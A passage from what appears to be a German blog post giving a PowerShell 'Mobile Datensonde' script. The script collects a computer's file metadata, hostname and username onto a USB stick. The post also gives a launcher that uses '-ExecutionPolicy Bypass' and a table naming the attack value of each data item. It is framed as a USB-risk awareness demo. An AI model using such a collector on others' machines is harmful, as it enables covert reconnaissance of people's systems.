$ext.Name.PadRight(15)<br>        $count = $ext.Count.ToString().PadRight(10)<br>        $size = [math]::Round(($ext.Group | Measure-Object -Property Gr\u00f6\u00dfeGB -Sum).Sum, 2).ToString().PadRight(15)<br>        $percent = [math]::Round(($ext.Count \/ $totalFiles) * 100, 1).ToString() + \"%\"<br>        <br>        Write-Host \"$name$count$size$percent\" -ForegroundColor Green<br>    }<br>}<br><br>function Show-FolderStructure {<br>    param($Files)<br>    <br>    Write-Host \"==========================================\" -ForegroundColor Cyan<br>    Write-Host \"ORDNERSTRUKTUR\" -ForegroundColor Yellow<br>    Write-Host \"==========================================\" -ForegroundColor Cyan<br>    Write-Host \"\"<br>    <br>    $folders = $Files | Group-Object -Property Pfad | <br>               ForEach-Object {<br>                   @{<br>                       Pfad = $_.Name<br>                       Anzahl = $_.Count<br>                       Gr\u00f6\u00dfeGB = [math]::Round(($_.Group | Measure-Object -Property Gr\u00f6\u00dfeGB -Sum).Sum, 2)<br>                   }<br>               } | <br>               Sort-Object -Property Gr\u00f6\u00dfeGB -Descending |<br>               Select-Object -First 10<br>    <br>    foreach ($folder in $folders) {<br>        Write-Host \"`n$($folder.Pfad)\" -ForegroundColor Cyan<br>        Write-Host \"  Anzahl: $($folder.Anzahl) Dateien\" -ForegroundColor Gray<br>        Write-Host \"  Gr\u00f6\u00dfe: $($folder.Gr\u00f6\u00dfeGB) GB\" -ForegroundColor Gray<br>    }<br>}<br><br>function Search-Files {<br>    param($Files)<br>    <br>    Write-Host \"==========================================\" -ForegroundColor Cyan<br>    Write-Host \"DATEIEN SUCHEN\" -ForegroundColor Yellow<br>    Write-Host \"==========================================\" -ForegroundColor Cyan<br>    Write-Host \"\"<br>    <br>    $searchTerm = Read-Host \"Suchbegriff (Dateiname enth\u00e4lt)\"<br>    <br>    if ([string]::IsNullOrWhiteSpace($searchTerm)) {<br>        Write-Host \"Kein Suchbegriff eingegeben\" -ForegroundColor Red<br>        return<br>    }<br>    <br>    $results = $Files | Where-Object { $_.Dateiname -like \"*$searchTerm*\" }<br>    <br>    if ($results.Count -eq 0) {<br>        Write-Host \"Keine Dateien gefunden\" -ForegroundColor Yellow<br>        return<br>    }<br>    <br>    Write-Host \"`n$($results.Count) Dateien gefunden:\" -ForegroundColor Green<br>    Write-Host \"\"<br>    <br>    $results | Select-Object -First 50 | ForEach-Object {<br>        Write-Host \"$($_.Dateiname)\" -ForegroundColor Cyan<br>        Write-Host \"  Pfad: $($_.Pfad)\" -ForegroundColor Gray<br>        Write-Host \"  Gr\u00f6\u00dfe: $($_.Gr\u00f6\u00dfeMB) MB\" -ForegroundColor Gray<br>        Write-Host \"  \u00c4nderungsdatum: $($_.\u00c4nderungsdatum)\" -ForegroundColor Gray<br>        Write-Host \"\"<br>    }<br>    <br>    if ($results.Count -gt 50) {<br>        Write-Host \"... und $($results.Count - 50) weitere Dateien\" -ForegroundColor Yellow<br>    }<br>}<br><br>function Show-Reports {<br>    Write-Host \"==========================================\" -ForegroundColor Cyan<br>    Write-Host \"BERICHTE\" -ForegroundColor Yellow<br>    Write-Host \"==========================================\" -ForegroundColor Cyan<br>    Write-Host \"\"<br>    <br>    if (-not (Test-Path $reportDir)) {<br>        Write-Host \"Kein Berichtsverzeichnis vorhanden.\" -ForegroundColor Yellow<br>        return<br>    }<br>    <br>    $reports = Get-ChildItem -Path $reportDir -Filter \"*.html\" | Sort-Object LastWriteTime -Descending<br>    <br>    if ($reports.Count -eq 0) {<br>        Write-Host \"Keine Berichte vorhanden.\" -ForegroundColor Yellow<br>        return<br>    }<br>    <br>    Write-Host \"Verf\u00fcgbare Berichte:\" -ForegroundColor Green<br>    $i = 1<br>    foreach ($report in $reports) {<br>        Write-Host \"$i) $($report.Name) ($([math]::Round($report.Length \/ 1KB, 1)) KB, $($report.LastWriteTime))\" -ForegroundColor Cyan<br>        $i++<br>    }<br>    <br>    $choice = Read-Host \"Bericht anzeigen (Nummer)\"<br>    if ($choice -match '^\\d+$' -and [int]$choice -ge 1 -and [int]$choice -le $reports.Count) {<br>        $selectedReport = $reports[[int]$choice - 1]<br>        try {<br>            Start-Process $selectedReport.FullName<br>            Write-Host \"Bericht ge\u00f6ffnet: $($selectedReport.Name)\" -ForegroundColor Green<br>        } catch {<br>            Write-Host \"Fehler beim \u00d6ffnen des Berichts: $_\" -ForegroundColor Red<br>        }<br>    } else {<br>        Write-Host \"Ung\u00fcltige Auswahl\" -ForegroundColor Red<br>    }<br>}<br><br>function Export-Data {<br>    param($Files, $Stats)<br>    <br>    Write-Host \"==========================================\" -ForegroundColor Cyan<br>    Write-Host \"EXPORT\" -ForegroundColor Yellow<br>    Write-Host \"==========================================\" -ForegroundColor Cyan<br>    Write-Host \"\"<br>    <br>    Write-Host \"1) CSV exportieren (Dateiliste)\" -ForegroundColor Green<br>    Write-Host \"2) HTML-Bericht exportieren (vollst\u00e4ndig)\" -ForegroundColor Green<br>    Write-Host \"3) JSON exportieren (Rohdaten)\" -ForegroundColor Green<br>    Write-Host \"\"<br>    <br>    $choice = Read-Host \"Ihre Auswahl\"<br>    <br>    <em># Exportverzeichnis erstellen<\/em><br>    $exportDir = Join-Path -Path $reportDir -ChildPath \"Exporte\"<br>    if (-not (Test-Path $exportDir)) {<br>        New-Item -Path $exportDir -ItemType Directory -Force | Out-Null<br>    }<br>    <br>    $timestamp = Get-Date -Format \"yyyyMMdd_HHmmss\"<br>    <br>    switch ($choice) {<br>        \"1\" {<br>            $csvFile = Join-Path -Path $exportDir -ChildPath \"Dateiliste_$timestamp.csv\"<br>            try {<br>                $Files | Export-Csv -Path $csvFile -NoTypeInformation -Delimiter \";\" -Encoding UTF8<br>                Write-Host \"CSV exportiert: $csvFile\" -ForegroundColor Green<br>                Start-Process $csvFile<br>            } catch {<br>                Write-Host \"Fehler beim Export: $_\" -ForegroundColor Red<br>            }<br>        }<br>        \"2\" {<br>            $htmlFile = Join-Path -Path $exportDir -ChildPath \"Bericht_$timestamp.html\"<br>            try {<br>                Generate-HTMLReport -Files $Files -Stats $Stats -OutputPath $htmlFile<br>                Write-Host \"HTML-Bericht exportiert: $htmlFile\" -ForegroundColor Green<br>                Start-Process $htmlFile<br>            } catch {<br>                Write-Host \"Fehler beim Export: $_\" -ForegroundColor Red<br>            }<br>        }<br>        \"3\" {<br>            $jsonFile = Join-Path -Path $exportDir -ChildPath \"Daten_$timestamp.json\"<br>            try {<br>                $Files | ConvertTo-Json -Depth 10 | Set-Content -Path $jsonFile -Encoding UTF8<br>                Write-Host \"JSON exportiert: $jsonFile\" -ForegroundColor Green<br>                Start-Process $jsonFile<br>            } catch {<br>                Write-Host \"Fehler beim Export: $_\" -ForegroundColor Red<br>            }<br>        }<br>        default {<br>            Write-Host \"Ung\u00fcltige Auswahl\" -ForegroundColor Red<br>        }<br>    }<br>}<br><br><em># ============================================<\/em><br><em># BERICHT-GENERIERUNG<\/em><br><em># ============================================<\/em><br><br>function Generate-Report {<br>    param($Statistics, $Files)<br>    <br>    Write-Log \"Generiere Bericht...\" \"INFO\"<br>    <br>    $reportFile = Join-Path -Path $reportDir -ChildPath \"Bericht_$(Get-Date -Format 'yyyyMMdd_HHmmss').html\"<br>    <br>    <em># Gesamtspeicher berechnen<\/em><br>    $totalSizeGB = [math]::Round(($Files | Measure-Object -Property Gr\u00f6\u00dfeGB -Sum).Sum, 2)<br>    $avgSizeMB = [math]::Round(($Files | Measure-Object -Property Gr\u00f6\u00dfeMB -Average).Average, 2)<br>    <br>    $html = @\"<br>&lt;!DOCTYPE html><br>&lt;html lang=\"de\"><br>&lt;head><br>    &lt;meta charset=\"UTF-8\"><br>    &lt;meta name=\"viewport\" content=\"width=device-width, initial-scale=1.0\"><br>    &lt;title>Mobile Datensonde - Bericht&lt;\/title><br>    &lt;style><br>        body { font-family: 'Segoe UI', Tahoma, Geneva, Verdana, sans-serif; margin: 20px; background: #f5f5f5; }<br>        .container { max-width: 1200px; margin: 0 auto; background: white; padding: 20px; border-radius: 10px; box-shadow: 0 2px 10px rgba(0,0,0,0.1); }<br>        h1 { color: #2c3e50; border-bottom: 3px solid #3498db; padding-bottom: 10px; }<br>        h2 { color: #34495e; margin-top: 30px; }<br>        .info-box { background: #ecf0f1; padding: 15px; border-radius: 5px; margin: 10px 0; }<br>        .stat-grid { display: grid; grid-template-columns: repeat(auto-fit, minmax(200px, 1fr)); gap: 15px; margin: 20px 0; }<br>        .stat-item { background: #3498db; color: white; padding: 15px; border-radius: 5px; text-align: center; }<br>        .stat-item .number { font-size: 28px; font-weight: bold; }<br>        .stat-item .label { font-size: 14px; opacity: 0.9; }<br>        .stat-item.green { background: #2ecc71; }<br>        .stat-item.orange { background: #f39c12; }<br>        .stat-item.red { background: #e74c3c; }<br>        .stat-item.purple { background: #9b59b6; }<br>        table { width: 100%; border-collapse: collapse; margin: 20px 0; }<br>        th { background: #34495e; color: white; padding: 10px; text-align: left; }<br>        td { padding: 10px; border-bottom: 1px solid #ddd; }<br>        tr:hover { background: #f9f9f9; }<br>        .category-bar { height: 20px; background: #3498db; margin: 5px 0; border-radius: 3px; }<br>        .footer { margin-top: 30px; padding-top: 20px; border-top: 1px solid #ddd; color: #7f8c8d; font-size: 12px; text-align: center; }<br>        .warning-box { background: #fcf8e3; border-left: 5px solid #f0ad4e; padding: 10px; margin: 20px 0; }<br>        .warning-box strong { color: #8a6d3b; }<br>    &lt;\/style><br>&lt;\/head><br>&lt;body><br>    &lt;div class=\"container\"><br>        &lt;h1>\ud83d\udcca Mobile Datensonde - Analysebericht&lt;\/h1><br>        <br>        &lt;div class=\"warning-box\"><br>            &lt;strong>\u26a0\ufe0f Hinweis zur Datensicherheit:&lt;\/strong> Dieser Bericht zeigt, wie viele Informationen ein fremder USB-Stick \u00fcber ein System sammeln kann. <br>            Die Daten dienen ausschlie\u00dflich der Sensibilisierung f\u00fcr USB-Sicherheitsrisiken.<br>        &lt;\/div><br>        <br>        &lt;div class=\"info-box\"><br>            &lt;strong>System:&lt;\/strong> $($Statistics.System.Hostname)&lt;br><br>            &lt;strong>Benutzer:&lt;\/strong> $($Statistics.System.Username)&lt;br><br>            &lt;strong>Betriebssystem:&lt;\/strong> $($Statistics.System.Betriebssystem)&lt;br><br>            &lt;strong>Erfassungsdatum:&lt;\/strong> $($Statistics.Erfassungsdatum)&lt;br><br>            &lt;strong>USB-Stick:&lt;\/strong> $($Statistics.System.USBStick.Name) ($($Statistics.System.USBStick.Total) GB total, $($Statistics.System.USBStick.Free) GB frei)<br>        &lt;\/div><br>        <br>        &lt;h2>\ud83d\udcc8 \u00dcbersicht&lt;\/h2><br>        &lt;div class=\"stat-grid\"><br>            &lt;div class=\"stat-item\"><br>                &lt;div class=\"number\">$($Statistics.GesamtDateien)&lt;\/div><br>                &lt;div class=\"label\">Dateien gesamt&lt;\/div><br>            &lt;\/div><br>            &lt;div class=\"stat-item green\"><br>                &lt;div class=\"number\">$totalSizeGB GB&lt;\/div><br>                &lt;div class=\"label\">Speicherverbrauch&lt;\/div><br>            &lt;\/div><br>            &lt;div class=\"stat-item orange\"><br>                &lt;div class=\"number\">$avgSizeMB MB&lt;\/div><br>                &lt;div class=\"label\">Durchschnittliche Dateigr\u00f6\u00dfe&lt;\/div><br>            &lt;\/div><br>            &lt;div class=\"stat-item purple\"><br>                &lt;div class=\"number\">$(($Files | Where-Object { $_.Kategorie -eq \"Bilder\" }).Count)&lt;\/div><br>                &lt;div class=\"label\">Bilder&lt;\/div><br>            &lt;\/div><br>        &lt;\/div><br>        <br>        &lt;h2>\ud83d\udcc1 Kategorien&lt;\/h2><br>        &lt;table><br>            &lt;tr><br>                &lt;th>Kategorie&lt;\/th><br>                &lt;th>Anzahl&lt;\/th><br>                &lt;th>Gr\u00f6\u00dfe (GB)&lt;\/th><br>                &lt;th>Anteil&lt;\/th><br>                &lt;th>Verteilung&lt;\/th><br>            &lt;\/tr><br>\"@<br>    <br>    <em># Kategorien sortiert nach Anzahl<\/em><br>    $sortedCategories = $Statistics.Kategorien.PSObject.Properties | Sort-Object { $_.Value.Anzahl } -Descending<br>    $maxCount = ($sortedCategories | Measure-Object -Property Value -Maximum).Maximum.Anzahl<br>    <br>    foreach ($cat in $sortedCategories) {<br>        $barWidth = if ($maxCount -gt 0) { [math]::Min(($cat.Value.Anzahl \/ $maxCount) * 100, 100) } else { 0 }<br>        $html += @\"<br>            &lt;tr><br>                &lt;td>&lt;strong>$($cat.Name)&lt;\/strong>&lt;\/td><br>                &lt;td>$($cat.Value.Anzahl)&lt;\/td><br>                &lt;td>$($cat.Value.Gr\u00f6\u00dfeGB)&lt;\/td><br>                &lt;td>$($cat.Value.Prozent)%&lt;\/td><br>                &lt;td>&lt;div class=\"category-bar\" style=\"width: ${barWidth}%;\">&lt;\/div>&lt;\/td><br>            &lt;\/tr><br>\"@<br>    }<br>    <br>    $html += @\"<br>        &lt;\/table><br>        <br>        &lt;h2>\ud83c\udfc6 Top 10 gr\u00f6\u00dfte Dateien&lt;\/h2><br>        &lt;table><br>            &lt;tr><br>                &lt;th>#&lt;\/th><br>                &lt;th>Dateiname&lt;\/th><br>                &lt;th>Gr\u00f6\u00dfe (GB)&lt;\/th><br>                &lt;th>Kategorie&lt;\/th><br>                &lt;th>Pfad&lt;\/th><br>            &lt;\/tr><br>\"@<br>    <br>    $topFiles = $Files | Sort-Object -Property Gr\u00f6\u00dfeGB -Descending | Select-Object -First 10<br>    $i = 1<br>    foreach ($file in $topFiles) {<br>        $displayPath = if ($file.Pfad.Length -gt 40) { $file.Pfad.Substring(0, 37) + \"...\" } else { $file.Pfad }<br>        $html += @\"<br>            &lt;tr><br>                &lt;td>$i&lt;\/td><br>                &lt;td>$($file.Dateiname)&lt;\/td><br>                &lt;td>$($file.Gr\u00f6\u00dfeGB)&lt;\/td><br>                &lt;td>$($file.Kategorie)&lt;\/td><br>                &lt;td>$displayPath&lt;\/td><br>            &lt;\/tr><br>\"@<br>        $i++<br>    }<br>    <br>    $html += @\"<br>        &lt;\/table><br>        <br>        &lt;h2>\ud83d\udcc5 Dateialter&lt;\/h2><br>        &lt;div class=\"stat-grid\"><br>            &lt;div class=\"stat-item green\"><br>                &lt;div class=\"number\">$($Statistics.DateiAlter.J\u00fcngerAls1Monat)&lt;\/div><br>                &lt;div class=\"label\">J\u00fcnger als 1 Monat&lt;\/div><br>            &lt;\/div><br>            &lt;div class=\"stat-item orange\"><br>                &lt;div class=\"number\">$($Statistics.DateiAlter.J\u00fcngerAls6Monate)&lt;\/div><br>                &lt;div class=\"label\">J\u00fcnger als 6 Monate&lt;\/div><br>            &lt;\/div><br>            &lt;div class=\"stat-item red\"><br>                &lt;div class=\"number\">$($Statistics.DateiAlter.\u00c4lterAls1Jahr)&lt;\/div><br>                &lt;div class=\"label\">\u00c4lter als 1 Jahr&lt;\/div><br>            &lt;\/div><br>        &lt;\/div><br>        <br>        &lt;h2>\ud83d\udcca Top 10 Datei-Erweiterungen&lt;\/h2><br>        &lt;table><br>            &lt;tr><br>                &lt;th>Erweiterung&lt;\/th><br>                &lt;th>Anzahl&lt;\/th><br>                &lt;th>Gr\u00f6\u00dfe (GB)&lt;\/th><br>                &lt;th>Anteil&lt;\/th><br>            &lt;\/tr><br>\"@<br>    <br>    $topExtensions = $Files | Group-Object -Property Erweiterung | <br>                     Where-Object { $_.Name -ne \"\" } |<br>                     Sort-Object -Property Count -Descending |<br>                     Select-Object -First 10<br>    <br>    $totalFiles = $Files.Count<br>    foreach ($ext in $topExtensions) {<br>        $size = [math]::Round(($ext.Group | Measure-Object -Property Gr\u00f6\u00dfeGB -Sum).Sum, 2)<br>        $percent = [math]::Round(($ext.Count \/ $totalFiles) * 100, 1)<br>        $html += @\"<br>            &lt;tr><br>                &lt;td>&lt;strong>$($ext.Name)&lt;\/strong>&lt;\/td><br>                &lt;td>$($ext.Count)&lt;\/td><br>                &lt;td>$size&lt;\/td><br>                &lt;td>$percent%&lt;\/td><br>            &lt;\/tr><br>\"@<br>    }<br>    <br>    $html += @\"<br>        &lt;\/table><br>        <br>        &lt;div class=\"footer\"><br>            Erstellt mit der Mobilen Datensonde am $(Get-Date -Format \"dd.MM.yyyy HH:mm:ss\")&lt;br><br>            &lt;strong>Dieser Bericht dient ausschlie\u00dflich zu Demonstrations- und Sensibilisierungszwecken.&lt;\/strong><br>        &lt;\/div><br>    &lt;\/div><br>&lt;\/body><br>&lt;\/html><br>\"@<br>    <br>    try {<br>        $html | Set-Content -Path $reportFile -Encoding UTF8<br>        Write-Log \"Bericht erstellt: $reportFile\" \"INFO\"<br>        Write-Host \"Bericht erstellt: $reportFile\" -ForegroundColor Green<br>    } catch {<br>        Write-Log \"Fehler beim Erstellen des Berichts: $_\" \"ERROR\"<br>    }<br>}<br><br>function Generate-HTMLReport {<br>    param($Files, $Stats, $OutputPath)<br>    <br>    <em># Erweiterter HTML-Bericht f\u00fcr den Export<\/em><br>    $html = @\"<br>&lt;!DOCTYPE html><br>&lt;html><br>&lt;head><br>    &lt;meta charset=\"UTF-8\"><br>    &lt;title>Datenexport - Mobile Datensonde&lt;\/title><br>    &lt;style><br>        body { font-family: Arial, sans-serif; margin: 20px; background: #f5f5f5; }<br>        .container { max-width: 1400px; margin: 0 auto; background: white; padding: 20px; border-radius: 10px; }<br>        h1 { color: #2c3e50; }<br>        table { border-collapse: collapse; width: 100%; margin-top: 20px; }<br>        th, td { border: 1px solid #ddd; padding: 8px; text-align: left; }<br>        th { background: #34495e; color: white; }<br>        tr:nth-child(even) { background: #f2f2f2; }<br>        .warning { background: #fcf8e3; padding: 10px; border-left: 5px solid #f0ad4e; margin-bottom: 20px; }<br>    &lt;\/style><br>&lt;\/head><br>&lt;body><br>    &lt;div class=\"container\"><br>        &lt;h1>\ud83d\udcca Datenexport - Mobile Datensonde&lt;\/h1><br>        &lt;div class=\"warning\"><br>            &lt;strong>\u26a0\ufe0f Hinweis:&lt;\/strong> Dieser Export zeigt, welche Datei-Metadaten von einem fremden USB-Stick erfasst werden k\u00f6nnen.<br>        &lt;\/div><br>        &lt;p>&lt;strong>Exportiert am:&lt;\/strong> $(Get-Date -Format \"dd.MM.yyyy HH:mm:ss\")&lt;\/p><br>        &lt;p>&lt;strong>System:&lt;\/strong> $($Stats.System.Hostname) ($($Stats.System.Username))&lt;\/p><br>        &lt;p>&lt;strong>Gesamt:&lt;\/strong> $($Files.Count) Dateien&lt;\/p><br>        &lt;p>&lt;strong>Gesamtspeicher:&lt;\/strong> $([math]::Round(($Files | Measure-Object -Property Gr\u00f6\u00dfeGB -Sum).Sum, 2)) GB&lt;\/p><br>        &lt;table><br>            &lt;tr><br>                &lt;th>#&lt;\/th><br>                &lt;th>Dateiname&lt;\/th><br>                &lt;th>Pfad&lt;\/th><br>                &lt;th>Kategorie&lt;\/th><br>                &lt;th>Gr\u00f6\u00dfe (MB)&lt;\/th><br>                &lt;th>Gr\u00f6\u00dfe (GB)&lt;\/th><br>                &lt;th>Erstellungsdatum&lt;\/th><br>                &lt;th>\u00c4nderungsdatum&lt;\/th><br>            &lt;\/tr><br>\"@<br>    <br>    $counter = 1<br>    foreach ($file in $Files | Select-Object -First 1000) {<br>        $html += @\"<br>            &lt;tr><br>                &lt;td>$counter&lt;\/td><br>                &lt;td>$($file.Dateiname)&lt;\/td><br>                &lt;td>$($file.Pfad)&lt;\/td><br>                &lt;td>$($file.Kategorie)&lt;\/td><br>                &lt;td>$($file.Gr\u00f6\u00dfeMB)&lt;\/td><br>                &lt;td>$($file.Gr\u00f6\u00dfeGB)&lt;\/td><br>                &lt;td>$($file.Erstellungsdatum)&lt;\/td><br>                &lt;td>$($file.\u00c4nderungsdatum)&lt;\/td><br>            &lt;\/tr><br>\"@<br>        $counter++<br>    }<br>    <br>    if ($Files.Count -gt 1000) {<br>        $html += \"&lt;tr>&lt;td colspan='8' style='text-align:center;'>&lt;strong>... und $($Files.Count - 1000) weitere Dateien&lt;\/strong>&lt;\/td>&lt;\/tr>\"<br>    }<br>    <br>    $html += @\"<br>        &lt;\/table><br>        &lt;p style=\"margin-top:20px; color:<em>#7f8c8d; font-size:12px;\">Erstellt mit der Mobilen Datensonde - Ein Werkzeug zur Sensibilisierung f\u00fcr USB-Sicherheitsrisiken.&lt;\/p><\/em><br>    &lt;\/div><br>&lt;\/body><br>&lt;\/html><br>\"@<br>    <br>    $html | Set-Content -Path $OutputPath -Encoding UTF8<br>}<br><br># ============================================<br># HAUPTLOGIK<br># ============================================<br><br>function Show-Banner {<br>    Clear-Host<br>    Write-Host @\"<br>==========================================<br> <br>                                          <br>  MOBILE DATENSONDE v2.0<br>  Ein Werkzeug zur Sensibilisierung<br>==========================================<br>\"@ -ForegroundColor Cyan<br>    Write-Host \"System: $env:COMPUTERNAME ($env:USERNAME)\" -ForegroundColor Gray<br>    Write-Host \"USB-Stick: $scriptRoot\" -ForegroundColor Gray<br>    Write-Host \"==========================================\" -ForegroundColor Cyan<br>    Write-Host \"\"<br>    Write-Host \"\u26a0\ufe0f  HINWEIS ZUR SICHERHEIT\" -ForegroundColor Yellow<br>    Write-Host \"Dieses Skript sammelt METADATEN (Dateinamen, Gr\u00f6\u00dfen, Pfade).\" -ForegroundColor Gray<br>    Write-Host \"Es kopiert KEINE Dateiinhalte und \u00fcbertr\u00e4gt KEINE Daten.\" -ForegroundColor Gray<br>    Write-Host \"Der Zweck ist die SENSIBILISIERUNG f\u00fcr USB-Sicherheitsrisiken.\" -ForegroundColor Gray<br>    Write-Host \"\"<br>}<br><br># ============================================<br># START<br># ============================================<br><br># Banner anzeigen<br>Show-Banner<br><br># Verzeichnisse initialisieren<br>Initialize-Directories<br><br># Pr\u00fcfen, ob auf USB-Stick<br>$isUsb = Test-UsbStick<br><br>if (-not $isUsb) {<br>    Write-Log \"WARNUNG: Skript wird nicht von einem USB-Stick ausgef\u00fchrt!\" \"WARN\"<br>    Write-Host \"\"<br>    Write-Host \"\u26a0\ufe0f  Dieses Skript ist f\u00fcr die Ausf\u00fchrung von einem USB-Stick optimiert.\" -ForegroundColor Yellow<br>    Write-Host \"Es kann dennoch von einem lokalen Verzeichnis ausgef\u00fchrt werden.\" -ForegroundColor Gray<br>    $continue = Read-Host \"Fortfahren? (j\/n)\"<br>    if ($continue -ne \"j\") {<br>        Write-Host \"Skript abgebrochen.\" -ForegroundColor Red<br>        exit<br>    }<br>}<br><br># Modus erkennen<br>if ($Mode -eq \"auto\") {<br>    if (Test-Path $dbFile) {<br>        Write-Host \"\ud83d\udcc2 Datenbank gefunden. Starte Viewer...\" -ForegroundColor Green<br>        $Mode = \"view\"<br>    } else {<br>        Write-Host \"\ud83d\udcc2 Keine Datenbank gefunden. Starte Sammelmodus...\" -ForegroundColor Yellow<br>        $Mode = \"collect\"<br>    }<br>}<br><br># Modus ausf\u00fchren<br>switch ($Mode) {<br>    \"collect\" {<br>        Write-Host \"\"<br>        Write-Host \"==========================================\" -ForegroundColor Yellow<br>        Write-Host \"STARTE SAMMELMODUS\" -ForegroundColor Yellow<br>        Write-Host \"==========================================\" -ForegroundColor Yellow<br>        Write-Host \"\"<br>        Write-Host \"Dieser Modus analysiert die Dateistruktur Ihres Systems.\" -ForegroundColor Gray<br>        Write-Host \"Je nach Datenmenge kann dies 5-30 Minuten dauern.\" -ForegroundColor Gray<br>        Write-Host \"\"<br>        Write-Host \"Dr\u00fccken Sie Enter, um fortzufahren, oder Ctrl+C zum Abbrechen.\" -ForegroundColor Cyan<br>        Read-Host<br>        <br>        $result = Start-Collection<br>        <br>        if ($result -and $result.Dateien.Count -gt 0) {<br>            Write-Host \"\"<br>            Write-Host \"==========================================\" -ForegroundColor Green<br>            Write-Host \"SAMMLUNG ABGESCHLOSSEN!\" -ForegroundColor Green<br>            Write-Host \"==========================================\" -ForegroundColor Green<br>            Write-Host \"\"<br>            Write-Host \"\u2705 $($result.Dateien.Count) Dateien erfasst\" -ForegroundColor Green<br>            Write-Host \"\u2705 Datenbank gespeichert auf USB-Stick\" -ForegroundColor Green<br>            Write-Host \"\"<br>            Write-Host \"\ud83d\udccc N\u00c4CHSTE SCHRITTE:\" -ForegroundColor Yellow<br>            Write-Host \"1. Ziehen Sie den USB-Stick ab\" -ForegroundColor Gray<br>            Write-Host \"2. Stecken Sie ihn in einen anderen Rechner\" -ForegroundColor Gray<br>            Write-Host \"3. F\u00fchren Sie das Skript erneut aus (Modus wird automatisch erkannt)\" -ForegroundColor Gray<br>            Write-Host \"\"<br>            Write-Host \"\ud83d\udca1 So sehen Sie, wie viele Informationen ein fremder USB-Stick sammeln kann!\" -ForegroundColor Cyan<br>        } else {<br>            Write-Host \"\"<br>            Write-Host \"\u274c Keine Dateien erfasst. Bitte pr\u00fcfen Sie die Laufwerke.\" -ForegroundColor Red<br>        }<br>    }<br>    \"view\" {<br>        Start-Viewer<br>    }<br>    default {<br>        Write-Host \"Unbekannter Modus: $Mode\" -ForegroundColor Red<br>    }<br>}<br><br>Write-Host \"\"<br>Write-Host \"==========================================\" -ForegroundColor Cyan<br>Write-Host \"Skript beendet.\" -ForegroundColor Gray<br>Read-Host \"Dr\u00fccken Sie Enter zum Beenden\"<\/pre>\n\n\n\n<hr class=\"wp-block-separator has-alpha-channel-opacity\"\/>\n\n\n\n<h2 class=\"wp-block-heading\">Anleitung zur Nutzung<\/h2>\n\n\n\n<h3 class=\"wp-block-heading\">1. Vorbereitung<\/h3>\n\n\n\n<ol start=\"1\" class=\"wp-block-list\">\n<li><strong>USB-Stick formatieren<\/strong>\u00a0(empfohlen: exFAT oder NTFS)<\/li>\n\n\n\n<li><strong>Ordner erstellen<\/strong>:\u00a0<code>Datensonde<\/code>\u00a0auf dem USB-Stick<\/li>\n\n\n\n<li><strong>Skript speichern<\/strong>: Kopieren Sie den obigen Code als\u00a0<code>Datensonde.ps1<\/code>\u00a0in den Ordner<\/li>\n\n\n\n<li><strong>Batch-Datei erstellen<\/strong>\u00a0(f\u00fcr einfachen Start):<\/li>\n<\/ol>\n\n\n\n<p class=\"wp-block-paragraph\">batch<\/p>\n\n\n\n<pre class=\"wp-block-preformatted\">@echo off\npowershell.exe -ExecutionPolicy Bypass -File \"%~dp0Datensonde.ps1\" -Mode auto\npause<\/pre>\n\n\n\n<h3 class=\"wp-block-heading\">2. Erste Nutzung \u2013 Datensammlung<\/h3>\n\n\n\n<ol start=\"1\" class=\"wp-block-list\">\n<li>USB-Stick in\u00a0<strong>Rechner A<\/strong>\u00a0einstecken<\/li>\n\n\n\n<li>Batch-Datei ausf\u00fchren<\/li>\n\n\n\n<li>Skript erkennt automatisch den Sammelmodus<\/li>\n\n\n\n<li>Warten (5-30 Minuten je nach Datenmenge)<\/li>\n\n\n\n<li>USB-Stick abziehen<\/li>\n<\/ol>\n\n\n\n<h3 class=\"wp-block-heading\">3. Zweite Nutzung \u2013 Daten anzeigen<\/h3>\n\n\n\n<ol start=\"1\" class=\"wp-block-list\">\n<li>USB-Stick in\u00a0<strong>Rechner B<\/strong>\u00a0einstecken<\/li>\n\n\n\n<li>Batch-Datei ausf\u00fchren<\/li>\n\n\n\n<li>Skript erkennt automatisch den Viewer-Modus<\/li>\n\n\n\n<li>Men\u00fc zur Analyse nutzen<\/li>\n<\/ol>\n\n\n\n<hr class=\"wp-block-separator has-alpha-channel-opacity\"\/>\n\n\n\n<h2 class=\"wp-block-heading\">Was dieser Code demonstriert<\/h2>\n\n\n\n<figure class=\"wp-block-table\"><table class=\"has-fixed-layout\"><thead><tr><th class=\"has-text-align-left\" data-align=\"left\">Erkannte Information<\/th><th class=\"has-text-align-left\" data-align=\"left\">Beispiel<\/th><th class=\"has-text-align-left\" data-align=\"left\">Gefahrenpotenzial<\/th><\/tr><\/thead><tbody><tr><td><strong>Benutzername<\/strong><\/td><td><code>Max.Mustermann<\/code><\/td><td>Identifikation der Zielperson<\/td><\/tr><tr><td><strong>Computername<\/strong><\/td><td><code>PC-MAX<\/code><\/td><td>Netzwerk-Identifikation<\/td><\/tr><tr><td><strong>Betriebssystem<\/strong><\/td><td>Windows 10 Pro<\/td><td>Angriffspunkte identifizieren<\/td><\/tr><tr><td><strong>Dateistrukturen<\/strong><\/td><td>Alle Pfade, Ordnerhierarchien<\/td><td>Einblick in Organisationsstruktur<\/td><\/tr><tr><td><strong>Dateitypen<\/strong><\/td><td>PDF, DOCX, XLSX, JPG, etc.<\/td><td>Bewertung der Daten-Wertigkeit<\/td><\/tr><tr><td><strong>Dateigr\u00f6\u00dfen<\/strong><\/td><td>Pr\u00e4zise Angaben in MB\/GB<\/td><td>Identifikation wertvoller Dateien<\/td><\/tr><tr><td><strong>Dateialter<\/strong><\/td><td>Erstellungs-, \u00c4nderungs- und Zugriffsdatum<\/td><td>Hinweise auf Aktivit\u00e4t<\/td><\/tr><tr><td><strong>Speicherverbrauch<\/strong><\/td><td>Gesamtnutzung pro Kategorie<\/td><td>R\u00fcckschluss auf Datenmenge<\/td><\/tr><tr><td><strong>Versteckte Dateien<\/strong><\/td><td>Erkennung von System- und versteckten Dateien<\/td><td>Aufdeckung von Sicherheitsma\u00dfnahmen<\/td><\/tr><\/tbody><\/table><\/figure>\n\n\n\n<hr class=\"wp-block-separator has-alpha-channel-opacity\"\/>\n\n\n\n<h2 class=\"wp-block-heading\">Sicherheitshinweise<\/h2>\n\n\n\n<p class=\"wp-block-paragraph\">\u2705&nbsp;<strong>Dieses Skript ist ungef\u00e4hrlich<\/strong>, weil es:<\/p>\n\n\n\n<ul class=\"wp-block-list\">\n<li><strong>Keine Dateiinhalte<\/strong>\u00a0kopiert oder \u00fcbertr\u00e4gt<\/li>\n\n\n\n<li><strong>Keine Systemeinstellungen<\/strong>\u00a0ver\u00e4ndert<\/li>\n\n\n\n<li><strong>Keine 